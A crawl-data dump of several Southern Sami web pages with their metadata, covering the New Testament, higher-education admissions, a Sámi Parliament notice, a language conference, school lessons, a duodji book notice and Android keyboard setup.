vedtieh man gellie nyjsenæjjah gïeh dam gåaroes kraavem vööjnin tjuedtjielimmien aerede.\nLukasen vaentjelen tjaelijh aaj mubpie gærjam tjeelin. Aposteledahkoeh, mah soptsestin guktie dïjre Jesusen bïjre Jerusalemeste noerhteluvlien gaskemearoedajven baaktoe jïh minngiegietjesne Rom:ese jaksi.\nPöövlen prievie\nGellie Orre testamenten 27 gærjijste lea prievieh åålmegidie jallh almetjidie. Dïhte båarasommes prievie lea tjaaleme joe 15-20 jaepiej mænngan Jesusen jaememe jïh tjuedtjielimmie. Jeenjemes prievide leah Pöövle tjaaleme mij lij farisé jïh vuastalæjja dejtie voestes kristegassjide. Mohte feelemisnie Damaskusen gåajkoe dellie dam tjuedtjielamme Jesusem gaavnesji jïh eelki dan mænngan dïjrem Jesusen bïjre voerkelidh. Aalkoevisnie dïjrem voerkeli evtemes juvdelassjide. Mohte Pöövle eeremes mubpide soptsesti.\nPrievine Pöövle evtede mij dïhte sæjhta jiehtedh almetjidie Jupmele almetjem sjïdteme jïh guktie kristegassjh edtjieh dej orre åålmegi ektesne jieledh. Prievieh lin åålmegidie gusnie Pöövle aarebi barkeme jïh daelie daarpesjieh aamhtesh öörnedh jallh madtjeldehtedh. Dah maehtieh aaj tjaaleme vuesiehtimmine jallh aajnege almetjasse tjaaleme. Ektesne prievieh vedtieh hijven daajroem gærhkoen aareh sijjieh romerrïjhkesne. Seamma aejkien tjoerebe mujhtedh mijjieh ajve prievieh utnebe mah akte otnjegasse. Dïhte lea goh ajve akte almetjem goltelidh gosse telefovnine soptsestalledh.\nPöövlen prievine gellie åehpies poesijen teksth. Åehpies lea Gieriesvoeten laake mij lea Pöövlen voestes prievie Korinten åålmegasse 13:1–13 . Jeatjah åehpies tekstesne Pöövle tjeeli juvdeladtje jallh grekeladtje, svaatjkoen nuelesne jallh jïjtjeråårehke, gaarmanæjja jallh nyjsenæjjah – gaajhkesh lidie Jesusinie aktesne, Pöövlen prievie Galatian åålmegasse 3:28. Pöövle slaaverijem jååhkesji jïh guhkiem dan mænngan prievien jiehtegh dejtie mah svaatjkoen nuelesne jallh jïjtjeråårehke vihkelen argumente slaaverijen vööste. Pöövlese lij vihkeles orre ektievoeth sjugniedidh jïh keejseren faamoem haestedh goh universumen bijjemes hearra.\nNaan dejstie prievijste mah vïenhtin Pöövle lea tjaaleme såvma leah toelhkestimmieh dan dïjreste orre tsiehkine mejtie mubpieh leah tjaaleme. Orre testamentesne aaj prievieh Pïehteren jïh Jåhhan nommine, jïh aaj prievieh gusnie tjaelije nommehts.\nDaennie aareh gærhkosne jïjnjh prievieh tjaalasovvin jïh gååvnesi aaj jïjnjh soptsesh Jesusen bïjre. Markosen, Meehten, Lukasen jïh Jåhhan soptsesh Jesusen bïjre dah sovmin dah lin vïhnesjamme enn dah mubpieh. Seamma prieviejgujmie: Aareh gååvnese ektie guvvie mah prievieh lin vihkielommes. Læjhkan gujht naan tjuetie jaepieh vaasin åvteli gærhkoe lij goerehtamme dah 27 gærjah mah bööremes vïhnesjieh Jesusen bïjre jïh dej voestes kristegassji bïjre.\nJåhhan volverimmie\nMinngemes Orre testamentesne Jåhhan volverimmie mij lea visjovnh tjåanghkenamme båetije biejjeste, Jåhhan volverimmie 21:15. Gærjan buerkiestimmieh destie båetije vigkijste maehtieh årrodh dovne gïerve guarkedh jïh maahta dejstie bïlledh, men aaj buektieh håhkoem Jupmele minngiegietjesne galka gaajhkem öörnedh. Dïhte galka orre elmiem jïh orre eatnemem båetedh, sårkohts, vaejvehts jïh jaememen namhtah. Båetije biejjieh gelkieh seamma tïjjen daelie båetieh jïh maam mijjieh såemies aejkien gåhtjobe Jupmelen rïjhke.\nLitteraturraerie\n- Bart D. Ehrman, The New Testament: A historical introduction to the early Christian writings. 2020 - Seventh edition.\n- Dieter Mitternacht & Anders Runesson (red.), Jesus och de första kristna: Inledning till Nya testamentet. 2007","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/www.svenskakyrkan.se\/orre-testamente","date":"2023-06-01T16:19:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224647895.20\/warc\/CC-MAIN-20230601143134-20230601173134-00566.warc.gz","language":"sma","language_score":0.999958396,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999583959579468}","num_words":822,"character_repetition_ratio":0.048,"word_repetition_ratio":0.0,"special_characters_ratio":0.149,"stopwords_ratio":0.111,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Åarjelsaemiengïele - Hijven daejredh jïlleskuvleööhpehtimmiej bïjre\nSïjhth jïlleskuvlesne jallh universiteetesne lohkedh dellie gååvnesieh maam daarpesjh daejredh Studere.nu sæjrosne.\nJïlleskuvleööhpehtimmien bïjre — darjoeh iedtjeles veeljemem\nDej gïeh jïlleskuvleööhpehtimmiem utnieh dejtie aelhkebe barkoem åadtjodh. Aelkieh dejnie maam datne maahtah jallh tuhtjh luste gosse ööhpehtimmiem veeljedh, dellie luste sjædta lohkedh.\nMij ööhpehtimmide bööremes?\nIktesth hijven lohkedh, men goerehtallh dan jïjnjh man gåarede åvteli veeljh maam sïjhth lohkedh daejnie viehkine \"Jämför utbildning\". Daesnie maahtah ööhpehtimmiej jïh jïlleskuvli mohtedidh jïh aaj vuartesje guvviem barkoemaarhkeste ovmessie suerkine. Maahtah aaj vuejnedh maam Universitetskanslerämbete lea jeahteme ööhpehtimmien kvalitehten bïjre.\nStudijetsïegle datnem viehkehte\nGoerehtallh maam sïjhth jïh mij nuepide åtnah studijetsïeglen ektesne. Tsïeglide jåarhkeskuvlesne, komvux:esne jïh universiteetine jïh jïlleskuvline gaavnh.\nMaahtoeh jïh ohtseme — dïhte naemhtie\nJienebe aath mah stuvrieh gïe ööhpehtæmman dåhkasjehtieh:\n- man gellie ööhpehtæmman bæjhkoehtamme\n- mij meritevierhtiem datne jïh dah jeatjah utnedh\n- man gellie sijjieh ööhpehtimmesne gååvnesieh\nOvmessie ööhpehtimmieh jïlleskuvlesne ovmessie maahtoekrïevemh utnieh. Dïhte sæjhta jiehtedh tjoerh dah kuvsjh jåerhkeskuvledaltesisnie mejtie kreava juktie dam ööhpehtimmiem åadtjoeh lohkedh. Maahtah aaj åålmehskuvlesne maahtoem lohkeme. Jis ih utnieh formellen merith mohte seamma maahtoem jeatjah vuekine skååffeme, maahta ryöknesovvedh datne maahtoem åtnah. Dam gohtje reelle maahtoem.\nJis jienebh ööhpehtæmman ohtsedieh enn sijjieh gååvnesieh, dellie veeljieh dejstie gïeh maahtoem utnieh. Veeljemisnie gaajhkh dej meritevierhtien mietie öörnesuvvieh. Dov meritevierhtiem ryöknoe fïerhten ööhpehtæmman maam ohtsedh jïh jåarhkeskuvlekuvsjh gååvnesieh mah vedtieh lissiepoengh. Bïevnesh maahtoen, veeljemen jïh meritepoengen bïjre gååvnesieh Studera.nu sæjrosne.\nBæjhkoehtimmie\nDatne Antagning.se sæjrosne bæjhkohth. Maahtah jienemes 45 jïlleskuvlepoengide fïerhten termijnesne (sïejhme termijne lea 30 jïlleskuvlepoengh). Öörnh dah alternatijvh guktie dah ööhpehtimmieh maam sïjhth lohkedh leah bijjemes.\nJïlleskuvlepryöveme — ih maam akt dassh\nJïlleskuvlepryöveme dutnjien nuepiem vadta ööhpehtimmien sïjse båetedh. Jienemes ööhpehtimmine bieliem sijjijste jïlleskuvlepryövemen illeldahki mietie. Jis maahtoem åtnah jïh jïlleskuvlepryövemem tjaaleme dellie veeljemedåahkan jïlleskuvlepryövemen våaroemisnie. Jis dov vihtiestimmiem jåarhkeskuvleste, åålmehskuvleste jallh komvux:este, aaj vihtiestimmiedåehkesne aaj.\nGaajhkh åadtjoeh pryövemem darjodh, seamma man båeries, otnjege jallh ööhpehtimmiem åtna. Maam daarpesjh darjodh lea bæjhkoehtidh jïh bæjhkoehtimmiemaaksovem 450 kråvnah maeksedh.\nMinngemes bæjhkoehtimmiebiejjie\nMinngemes bæjhkoehtimmiebiejjie eejnegen goevten 15 b. gïjrepryövemasse jïh skïereden 15 b. tjaktjepryövemasse. Daatoem gosse pryövemem tjaeledh jeatjahtahta.\nLohkh vielie jïlleskuvlepryövemen bïjre\nÅlkoelaantesne lohkedh — jienebh jienebh dam darjodh\nÅlkoelaantesne lohkedh maahta ovmessie vuekine darjodh, dovne låtnoestudentine jallh freemoverstudentine.\nLåtnoeööhpehtimmieh\nJis datne sveerjen universiteetesne maahta låtnoeprogrammesne meatan årrodh (vuesiehtimmien gaavhtan Nordplus jallh Erasmus) jïh Europesne lohkedh. Datne viehkiem åadtjoeh lohkehtimmiem öörnedh dov jïlleskuvleste jïh dov ålkoelaantelohkehtimmieh dov sveerjen eksaamenasse ryöknedh.\nJïjtje öörnemisnie freemoverstudentine\nMaahtah jïjtje ööhpehtimmiem ohtsedidh ålkoelaantesne. Daamhtemes dåhkasjahteme jåarhkeskuvleviehtiestimmiem daarpesjh jïh dåhkasjahteme gïeleteestem. Bïeljelh dam universiteetem gusnie sïjhth lohkehtidh jïh bïevnesh åadtjodh mah krïevemh utnieh.\nLohkh vielie ålkoelaantesne lohkedh\nMaajhööhpehtimmie — vaeltieh jïlleskuvlem gåatan\nIh daarpesjh vielie fuelhkiem jallh ööhpehtimmiem veeljedh, bieliebarkoem jïh ööhpehtimmiem jallh ålkoelaanteårromem jïh ööhpehtimmiem. Datne gie jïjtjedisiplijnem jïh ïedtjem åtnah maahtah gåabpatjahkh darjodh. Medtie fïerhten gåalmeden learohke maajhööhpehtimmesne lohkedh Sveerjesne.\nDaatovre jïh gaskeviermie\nDatne daarpesjh daatavaanem jïh hijven gaskeviermiem åtnah. Maahtah sjïere programmine utnedh, webbekameram, mikrofovnem jïh bieljiedïrredh webbetjåanghkojde. Bïevnesh maam daarpesjh åadtjodh jïlleskuvleste.\nLearoejarnge\nGååvnesieh maajhööhpehtimmieh gusnie ij gåessegh daarpesjh årrodh. Jis ih sïjhth gåetesne tjahkasjidh jïh lohkedh maahtah vuesiehtimmien gaavhtan learoejarngesne gusnie årroeminie årrodh. Desnie barkijh, daatovrh jïh jeatjah dïrregh gååvnesieh. Muvhth jïlleskuvline ellies ööhpehtimmide learoejarngesne vedtieh. Jïlleskuvle dan bïjre beavna.\nLohkh vielie maajhööhpehtimmiej bïjre\nNasjovnelle unnebelåhkoegïele — dam jïlleskuvlesne gååvnese?\nGååvnese jïlleskuvlem man dïedte fïerhten nasjovnelle unnebelåhkoegïelide. Ööhpehtimmiefaaleldahkh eah dan stoerre. Jienebe reeremesuerkine jeanene jïh dej sisnie saemieh, sveerjesåevmieh jïh torneladtjh stuerebe reaktam utnieh dej gïelem lïeredh jïh utnedh. Dïhte sæjhta jiehtedh daarpoem aarehskuvlelohkehtæjjijste jïh lohkehtæjjijste jeanene gïeh maehtieh nasjovnelle gïeline jïh gïelesne lïerehtidh. Seamma daarpoem gååvnese dejtie gïeh ööhpehtimmiem åådtjeme hoksesne jïh såjhtosne gïeh maehtieh voeresehoksesne barkedh gusnie gïelide soptsestidh.\nUpmijen universiteete dam nasjovnelle dïedtem åtna saemien gïelide mohte aaj jeatjah universiteeth jïh jïlleskuvlh maehtieh ööhpehtimmieh utnieh gïeline jallh kultuvrine. Upmije universiteete edtja aaj lohkehtæjjaööhpehtimmine aelkedh saemiengïelesne jïh saemiengïeline\nLohkh vielie Upmejen universiteeten webbesæjrosne\nLïngkh\nDatne jïlleskuvlelohkemasse bæjhkohth Antagning.se sæjrosne\nCSN beavna studijedåarjoen bïjre (dåarjoe jïh lööneme)\nUniversitets- och högskolerådet\/Universiteeten- jïh jïlleskuvleraerien dïedte webbesæjrojde Antagning.se, Studera.nu jïh Utbyten.se bene aaj vierhtiestimmiem ålkoelaanten ööhpehtimmeste.\nUniversitets- och högskolerådet\nUniversitetskanslersämbetet vierhteste ööhpehtimmieh jïh studenti reaktavihtiesvoetem\nUtbyten.se låtnoelohkemi bijre beavna\nYH-reereme beavna barkoejïlleskuvleööhpehtimmiej bïjre\nGaavnh maam dutnjien iedtjeles viehkine Hitta yrken på Arbetsförmedlingen","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/acc.studera.nu\/startpage\/andra-sprak\/minoritetssprak\/aarjelsaemiengiele\/","date":"2023-06-01T16:01:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224647895.20\/warc\/CC-MAIN-20230601143134-20230601173134-00774.warc.gz","language":"sma","language_score":1.000005722,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 1.0000057220458984}","num_words":662,"character_repetition_ratio":0.083,"word_repetition_ratio":0.0,"special_characters_ratio":0.125,"stopwords_ratio":0.092,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemiedigkie barka ihke saemieh edtjieh åadtjoeh sijjen gïelem, sijjen kultuvrem jïh sijjen siebriedahkejieledem gorredidh jïh evtiedidh.\nNænnoestamme tjåanghkoesoejkesjen mietie Saemiedigkie moenehtsetjåanghkoeh jïh stoerretjåanghkoe åtna ruffien 5.–9. b. 2023.\nLohkh vielie moenehtse- jïh stoerretjåanghkoen bïjre\nSaemiedigkien veeljemelåhkoe ruffien 30. b. 2023 lea dïhte mij muana guktie mandaatejoekedimmie veeljemegievliej gaskem edtja mubpene veeljemisnie årrodh. Sïjhth meatan årrodh dam tsevtsedh, tjoerh jïjtjemdh veeljemelåhkoen sïjse bïeljelidh ruffien 30. b. åvtelen.\nTjaelieh jïjtjemdh saemien veeljemelåhkose\nHer finner du oversikt over valgkretsene","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/sametinget.no\/?sprak=14","date":"2023-06-04T20:42:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224650264.9\/warc\/CC-MAIN-20230604193207-20230604223207-00557.warc.gz","language":"sma","language_score":1.0000032187,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.0000032186508179}","num_words":71,"character_repetition_ratio":0.09,"word_repetition_ratio":0.0,"special_characters_ratio":0.157,"stopwords_ratio":0.099,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Polargievlien ålkoejielederaerien Knut Berntsen soptseste ahte konferaanse eevre dïeves lea jih lea vihkeles skreejredh jienebh almetjh saemiestidh. Dïhte hov gaajhkh eevtjeminie guktie aelkedh åarjelsaemiengielesne nuhtjedh.\n– Mijjien fokusem saemien gielese utnebe, jih guktie mijjieh edtjebe gïelem nænnoestidh. Aarporten tjïelte edtja guektiengïele sjïdtedh, jih mijjieh sijhtebe govledh guktie dah edtjieh dam dïedtem vaeltedh, Berntsen jeahta.\nGaektsieluhkie almetjh leah bïeljelamme dahkoe båetedh, jih akte guhte håaledh leah Fransisca Kappfjell Herbst. Dihte edtja soptsestidh man vihkeles Gaaskenøørjen saemieskuvle orreme sov identiteetese jih saemiengïelem nænnoestidh.\nAarporten tjïelteste aaj båetieh jih edtjieh soptsestidh magkeres haestieh dah vuajna gosse tjïelte edtja syökedh saemiengïelen reeremedajvese baahtsedh. Staatentjaelije Anne-Karin Olli jih saemiedigkien presideente Vibeke Larsen aaj konferaansesne guessine.\nDïhte konferaanse edtja göökte biejjieh årrodh, jih lea riejries jirreden.","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/www.nrk.no\/sapmi\/dah-edtjieh-soptsestidh-guktie-gielem-naennoestidh-1.13439688","date":"2023-06-06T17:41:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224652959.43\/warc\/CC-MAIN-20230606150510-20230606180510-00294.warc.gz","language":"sma","language_score":0.9999961853,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 0.9999961853027344}","num_words":119,"character_repetition_ratio":0.063,"word_repetition_ratio":0.0,"special_characters_ratio":0.135,"stopwords_ratio":0.143,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gaajhkh sjangerh jarkesieh. 50 jaepiej raajeste dellie sïejhme mijjieh telegraafen tjïrrh heelsegh seedtimh gosse hïeje jallh skylleme. Aaj sïejhme dellie påaste-kåarhtem jallh prieviem seedtedh.\nSjangerh jarkesieh\nIbie vielie telegraafem utnieh. Jïh daelie ibie mahte vielie påaste-kåarhth seedth gænnah. Daelie tellefovnem nuhtjebe jïh ovmessie bïevnesh seedtebe. Ibie vielie mahte prieviem tjaelieh, men e-påastem. Mijjieh annje sjangerh goh læhkoestimmiem, eejehtalleme-heelsegem jïh persovneles prieviem nuhtjebe, men ajve orre medijumh nuhtjebe gosse edtjebe maam akt seedtedh. Jïh lissine mijjieh tjaelebe guktie medijumese sjeahta.\nPaehpieristie gaske-vearman\nLohkeme-prievie aaj akte sjangere mij vuesehte guktie sjangere jarkese. Ibie daam sjangere-nommem mahte vielie nuhtjh, men daelie sjangere-nommh nuhtjebe guktie digkiedimmie-lahtese jïh digkiedimmie-artihkele. Dah orre nommh vuesiehtieh lohkije daelie sagke eadtjoehkåbpoe tjaeleme-råållam åtna goh aarebi.\nOrre medijumh mijjem böörieh meatan årrodh\nDaelie sïejhme gaajhkh medijumh mijjem böörieh maam akt darjodh, vuesiehtimmien gaavhtan maehtebe raadijovasse ringkedh jïh meatan årrodh aktene programmesne. Gosse tv:sne digkiedimmie-programme dellie maehtebe SMS-bïevnesh dïsse seedtedh. Mijjieh maehtebe aaj tjaeledh jïh lahtestidh bloggine, nedte-soptsestimmine jïh nedte-sæjrojne goh Wikipedia.\nOrre medijumh orre funksjovnh vaeltieh\nDaelie mijjieh orre medijumh joekehtslaakan nuhtjebe goh aarebi. Aalkovisnie mijjieh barre persovneles SMS-bïevnesh mubpide seedtimh tjædtjan, aahtjan, voelpide, jnv. Daelie orre sjangerh sïejhme sjïdteme. Mijjieh maehtebe tjåanghkoe-bööredimmieh gaske-viermesne seedtedh. SMS-bïevnesem påaste-paahken bïjre åadtjobe jïh gosse baenie-dåakteren gåajkoe edtjebe dellie SMS-bïevnesem baenie-dåaktaristie åadtjobe. Mijjieh maehtebe bïevnesigujmie steemmadidh jïh aaj tellefovnine beetnegh seedtedh. Daelie sïejhme sjïdteme Snap-bïevnesem seedtedh, jïjtsistie.\nOrre teknologije orre nuepieh vadta\nOrre teknologije mijjem viehkehte orre gaskesadteme-vuekieh evtiedidh. Mijjieh aajhtsebe ibie gaajhkh sjangerh vielie nuhtjh, men orre sjangerh båetieh. Mænngan aajhtsebe mah sjangerh daarpesjibie, mah sjangerh maehtebe nuhtjedh jïh mah sjangerh ibie vielie daarpesjh.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/ndla.no\/subject:1:11c4696f-e844-4c98-8df7-49d43f59ec33\/topic:2:d6234d0f-c1c3-4a86-bb4c-1176c53ee780\/topic:2:19c69125-a123-45f6-bdea-f8d4299bb2e1\/resource:1:159820","date":"2023-09-21T12:33:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233506027.39\/warc\/CC-MAIN-20230921105806-20230921135806-00567.warc.gz","language":"sma","language_score":0.9999837875,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999837875366211}","num_words":260,"character_repetition_ratio":0.069,"word_repetition_ratio":0.0,"special_characters_ratio":0.143,"stopwords_ratio":0.077,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gïelen gellie dïrregh, juktie mijjieh maehtebe jiehtedh maam sïjhtebe – mahte. Men tjoerebe haarjanidh juktie mïesterinie sjïdtedh. Tjoerebe jïjnjem lohkedh, tjaeledh jïh govlesadtedh juktie væjkalåbpoe gïele-åtnojne sjïdtedh.\nNjaalmeldh gaaltijh\nDatne maahtah eejhtegh, fuelhkieh, lohkehtæjjah jallh mubpieh gihtjedh jïh dejtie nuhtjedh goh njaalmeldh gaaltijh.\nGærja-gåetie\nGærja-gåetesne gellie gaaltijh gååvnesieh. Desnie datne maahtah dovne fysihke jïh virtuelle tjaaleldh gaaltijh gaavnedh. Gærja-gåetien gærja- jïh plaerie-våarhkoe vihkele. Hijven jis datne lïerh ovmessie tjaalegh desnie gaavnedh. Tjoerh gellien aejkien gærja-gåetesne mïnnedh jïh astedh desnie ajve gærjine plaeriedidh. Dellie aalkah aamhtesem damtedh jïh daajrah mah bïevnesh aamhtesisnie gååvnesieh.\nBiblotekaarije\nBibliotekaarije, gærja-gåetien barkije, vihkeles dutnjien gosse gaaltijh ohtsedh. Gihtjh bibliotekaarijem jis maahta datnem viehkiehtidh gærjah, plaerieh, artihkelh jïh digitaale vierhtieh gaavnedh. Bibliotekaarije maahta teknologijen raerieh dutnjien vedtedh guktie maahtah ovmessie lidteratuvrh ohtsedidh.\nGaskeviermie\nJoekoen aelkieh bïevnesh gaskeviermesne ohtsedidh. Juktie gaskeviermie daatagovlesadteme-viermie gåabph bïevnesh abpe veartanistie båetieh, men ih maehtieh gaskeviermiem gaaltijinie tjaeledh. Datne tjoerh daejredh gie teekstem tjaaleme jïh gie guvviem vaalteme. Mujhtieh nedte-sæjroen webbe-adressem tjaeledh. Lohkije edtja maehtedh seamma sæjroem gaavnedh jïh lohkedh.\nDigitaale bæjhkoehtimmie lea gaajhkh hammoeh elektronihken bæjhkoehtimmijste, guktie teeksth, tjoejh jïh guvvieh. Haesteme teeksth jïh faktah gaavnedh mah hijven. Maam maehtebe nuhtjedh? Mij sjyöhtehke? Maam maehtebe jaehkedh? Mij saetnies? Guktie edtjebe gaavnedh maam maehtebe nuhtjedh? Dellie datne tjoerh bïevnese-maahtoem utnedh.\nBïevnese-maahtoe\nJis datne bïevnese-maahtoem åtnah dellie dov:\n- digitaale maahtoe, datne maahtah digitaale dïrregh gïetedidh\n- digitaale gïetedimmie-maahtoe jïh maahtah bïevnesh gaske-viermeste gïetedidh jïh mubpesth nuhtjedh\n- digitaale laavenjostoe-maahtoe lea teknologijen jïh kulturellen govlesadteme-maahtoe.\n- digitaale-maahtoe skearkelge guktie datne maahtah dovne maahtoem jïh nuepieh gïetedidh jïh guarkedh digitaale ektievoetesne. Mij hijven jïh mij haesteme gaskeviermesne jïh virtuelle govlesadtemisnie?","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/ndla.no\/subject:1:a532138d-e16a-4046-a46e-bd5bc9487b8b\/topic:4:191706\/resource:1ce36602-8be7-4d83-9377-d58a770725da","date":"2023-09-23T11:33:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233506480.7\/warc\/CC-MAIN-20230923094750-20230923124750-00015.warc.gz","language":"sma","language_score":1.0000075102,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 1.0000075101852417}","num_words":260,"character_repetition_ratio":0.067,"word_repetition_ratio":0.0,"special_characters_ratio":0.141,"stopwords_ratio":0.085,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Lohkh åarjel-saemien draama-teekstem «Raahkele-Piere» maam Albert Jåma lea tjaaleme.\nLohkh åarjel-saemien draama-teekstem «Raahkele-Piere» maam Albert Jåma lea tjaaleme. Vaestedh gyhtjelasside.\nGie Raahkele-Piere?\nGiej bïjre Raahkele-Piere soptseste, jïh maam dej bïjre soptseste?\nGiejtie Raahkele-Piere soptseste, gïeh dan goltelæjjah?\nMij lea Raahkele-Pieren goltelæjjide rovnege, maam eah damth, mij ij leah dejtie åehpies?\nGuktie almetji kultuvren jïh identiteeten joekehtsh vååjnesasse båetieh draama-tekstesne?\nMaam teekste soptseste tsiehkien bïjre, saemiej jïh daaroej gaskemsh?","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/ndla.no\/nb\/subject:1:11c4696f-e844-4c98-8df7-49d43f59ec33\/topic:2:8bfb17e8-b081-476d-8e00-49f219ef5de3\/topic:2:6b2d1ccd-f72c-4f6a-bd36-ced187523dba\/resource:fda17f1f-6717-4b2c-9d34-1460e8a65738","date":"2023-09-22T07:40:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233506339.10\/warc\/CC-MAIN-20230922070214-20230922100214-00817.warc.gz","language":"sma","language_score":0.9999403954,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999403953552246}","num_words":68,"character_repetition_ratio":0.123,"word_repetition_ratio":0.0,"special_characters_ratio":0.164,"stopwords_ratio":0.147,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Bok om duodji og hvordan design flettes i duodji, og hvordan duodji og design har utviklet seg. I boka er det eksempler på fra ulike områder.\nBoka er skrevet for elever på videregåendetrinn, men passer også for andre som er interessert i samisk håndverk og design.\nVætnoeteemagærja tjïelkeste sïejhme baakoejgujmie mij sisvege baakoetjïertesne vætnoe lea, guktie hammoedimmie lea vïedteldihkie vætnose jïh guktie vætnoe jïh hammoedimmie leah jïjtjemse evtiedamme. Gærjesne vuesiehtimmieh vætnoemaallijste jïh hammoedimmiesuerkijste ovmessie dajvijste.\nJåarhkelïerehtæmman sjeahta jïh maahta dåarjojne årrodh dejtie mej ïedtje vætnoste jïh hammoedimmeste.\nISBN: 978-82-329-0139-5. Davvi girji, 2023. 72 s. Innb.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/samiskbibliotektjeneste.tromsfylke.no\/2023\/07\/05\/inga-maybritt-bongo-ja-sara-inga-utsi-bongo-vaetnoe-jih-hammoedimmie\/","date":"2023-09-23T07:05:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233506480.35\/warc\/CC-MAIN-20230923062631-20230923092631-00818.warc.gz","language":"sma","language_score":0.9943934679,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 0.9943934679031372}","num_words":92,"character_repetition_ratio":0.078,"word_repetition_ratio":0.0,"special_characters_ratio":0.186,"stopwords_ratio":0.087,"flagged_words_ratio":0.0,"lang_id_score":0.996,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Androidem aelkiehtidh\nMænngan goh leah programmem Google Playeste veedtjeme, dle naemhtie vååjnoe:\nAelkehth appem:\nSjïehtesjimmide:\nDiedtieh dam lïenghkem, som tar deg til innstillingspanelet for å slå på de samiske tastaturene:\nGosse aelkehth dam, dle vååtnetjem åadtjoeh. Ij Divvun maam gæn vïhtesjh maam tjaalah, diedtieh barre ok:\nMænngan goh leah Saemien båaloebuertide aelkiehtamme, tjoeverh dïssr målsodh - diedtieh «Bytt inndatametode»:\nVååjnoe barre goh leah dejnie galhkeme, mohte gosse edtjh saemien båaloebuertide aelkiehtidh, dle tjoeverh diedtedh «Konfigurer flere språk»:\nSliejhtieh dam bijjemes kroessem læstosne(«Bruk systemspråk»):\nDan mænngan maahtah kroessem bïejedh dejtie gïelide, mejtie sïjhth utnedh:\nDell amma galhkeme!\nBåaloebuertiem målsoeh gosse tjaeliemienie jïh diedtieminie dam globusbåaloem mij leah gaskoehbåaloen gårroehbielesne:\nBåaloejbuertiej gaskems plaeredh, gosse dam globusbåaloem deadtah.\nJis leah fabrihketastatuvrem molseme, dle bååstide båatah dej saemien bokstaavi gåajkoe jis aktene soermine skjeermen bijjielistie våålese guektien aejkien deadtah. Dellie læstoe jæjhta, mestie åadtjoeh veeljedh, v.g gosse inndatametodem veeljedh (tastatuvre):","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/divvun.no\/sma\/keyboards\/installation_android.html","date":"2023-09-30T13:53:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233510676.40\/warc\/CC-MAIN-20230930113949-20230930143949-00034.warc.gz","language":"sma","language_score":0.9999587536,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999587535858154}","num_words":145,"character_repetition_ratio":0.058,"word_repetition_ratio":0.0,"special_characters_ratio":0.154,"stopwords_ratio":0.062,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tråanten dajven saemien siebre lea akte orre saemien siebre mij 2019 aalkeme. Lea akte saemien siebre mij sæjhta saemien reaktoeh jïh aerpievuekie Tråantesne vaarjelidh jïh evtiedidh. Sjïeres mijjen lea staarepolitihkeles aamhtesh. Sjïeres ulmieh mijjien siebredahkem lea v.g.: akte saemien rååkemesijjiem tseegkedh, mijjien saemien maanajgïertem evtiedidh, Elsa Laulan sijjiem hammoedidh (Metodistgærhkoem bealesne). Fovsen-aamhtese lea aaj vihkeles mijjiese Tråantesne, jïh mijjieh sïjhtebe dej dåarjelidh.\nTråanten dajven saemien siebre\nLandsstyremøte 5-6 mars 2022\nI helga har vi behandlet saker. Den viktigste akkurat nu (opplever jeg) er NSR sin uttalelse om krigen i Ukraina. Den legges ut i media iløpet av kvelden. Jh KristinGaajhkh Tråanten dajven saemien siebrie artihkelh","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/nsr.no\/sma\/tjierth\/traanten-dajven-saemien-siebre\/","date":"2023-09-22T14:01:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233506420.84\/warc\/CC-MAIN-20230922134342-20230922164342-00273.warc.gz","language":"sma","language_score":0.9994395375,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 